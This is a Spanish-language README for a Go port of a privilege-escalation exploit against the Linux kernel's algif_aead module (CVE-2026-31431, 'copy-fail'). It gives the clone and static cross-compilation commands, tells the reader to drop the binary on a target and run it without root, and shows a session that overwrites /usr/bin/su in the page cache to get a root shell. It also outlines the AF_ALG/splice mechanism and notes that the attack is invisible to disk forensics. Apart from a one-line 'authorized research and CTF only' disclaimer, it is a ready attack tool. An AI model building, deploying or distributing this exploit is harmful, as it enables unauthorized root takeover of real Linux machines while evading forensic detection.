
Puerto de Go del PoC de escalada de privilegios en el kernel de Linux CVE-2026-31431 (copy-fail), con enumeración automática de binarios SUID y selección interactiva de objetivos.
Puerto en Go del PoC en Python de grenkoca para CVE-2026-31431 (copy-fail).
Esta versión compila a un binario completamente estático con cero dependencias en tiempo de ejecución: sin Python, sin pip, sin restricciones de versión de libc. Colócalo en cualquier objetivo Linux y ejecútalo. También enumera automáticamente todos los binarios SUID legibles mundialmente en el objetivo y te permite elegir cuál explotar de forma interactiva.
Solo para investigación de seguridad autorizada y uso en CTF.
Descubierto por Theori y divulgado públicamente el 29 de abril de 2026, Copy.Fail es una falla lógica en el módulo criptográfico algif_aead del kernel de Linux introducida mediante una optimización de 2017. Afecta a todas las distribuciones principales de Linux desde 2017.
Al manipular la interfaz criptográfica AF_ALG del kernel, un atacante sin privilegios puede escribir datos controlados directamente en el page cache de Linux, la representación en memoria de los binarios confiables del sistema. Esto permite secuestrar temporalmente binarios como /usr/bin/su sin modificar el archivo en disco, lo que hace que la forensia basada en disco sea ciega al ataque.
A diferencia de muchas fallas de escalada de privilegios locales que dependen de condiciones de carrera o fugas de direcciones del kernel, Copy.Fail es altamente confiable y funciona de manera consistente con solo una cuenta de usuario estándar.
Impacto:
Kernels afectados: Todas las distribuciones desde 2017. Consulta el PoC original de grenkoca para el rango de versiones específico.
| Herramienta | Versión |
|---|---|
| Go | 1.21+ |
git clone https://github.com/3jee/copy-fail-go
cd copy-fail-go
go build -o copy-fail .
GOOS=linux GOARCH=amd64 CGO_ENABLED=0 go build -ldflags="-s -w" -o copy-fail .
Las banderas -s -w eliminan la información de depuración para reducir el tamaño del binario. CGO_ENABLED=0 produce un binario completamente estático sin dependencia de libc: colócalo en cualquier objetivo Linux independientemente de la versión de glibc.
| Objetivo | Comando |
|---|---|
| Linux ARM64 | GOOS=linux GOARCH=arm64 CGO_ENABLED=0 go build -o copy-fail . |
| Linux x86 de 32 bits | GOOS=linux GOARCH=386 CGO_ENABLED=0 go build -o copy-fail . |
Transfiere el binario al objetivo y ejecútalo (no se requiere root):
./copy-fail
Ejemplo de sesión:
CVE-2026-31431 (copy-fail) - Go PoC
Basado en el PoC original de grenkoca
Escaneando binarios SUID legibles mundialmente...
Binarios SUID legibles mundialmente encontrados:
------------------------------------
[1] /usr/bin/su
[2] /usr/bin/sudo
[3] /usr/bin/passwd
[4] /usr/bin/newgrp
Selecciona objetivo [1-4]: 1
[*] Apuntando a: /usr/bin/su
[*] Escribiendo 48 bytes en /usr/bin/su...
[+] Escritura completada. Ejecutando objetivo...
# whoami
root
O_RDONLY: no se necesita permiso de escritura.AF_ALG (SOCK_SEQPACKET) vinculado a la transformación AEAD authencesn(hmac(sha256),cbc(aes)).sendmsg manipulado con MSG_MORE y mensajes de control SOL_ALG para poner en cola una operación criptográfica contra la entrada del page cache del archivo objetivo.splice(2) para mover páginas del archivo al socket ALG, activando la ruta vulnerable del kernel que escribe de vuelta las páginas modificadas del page cache sin volver a verificar los permisos del archivo.| Original (Python) | Este repositorio (Go) |
|---|
| Lenguaje | Python 3 | Go 1.21+ |
| Objetivo | /usr/bin/su codificado | Detectado automáticamente mediante escaneo del sistema de archivos en vivo |
| Selección de objetivo | Ninguna | Menú numerado interactivo |
| Distribución | Script | Binario estático único (sin dependencias de ejecución) |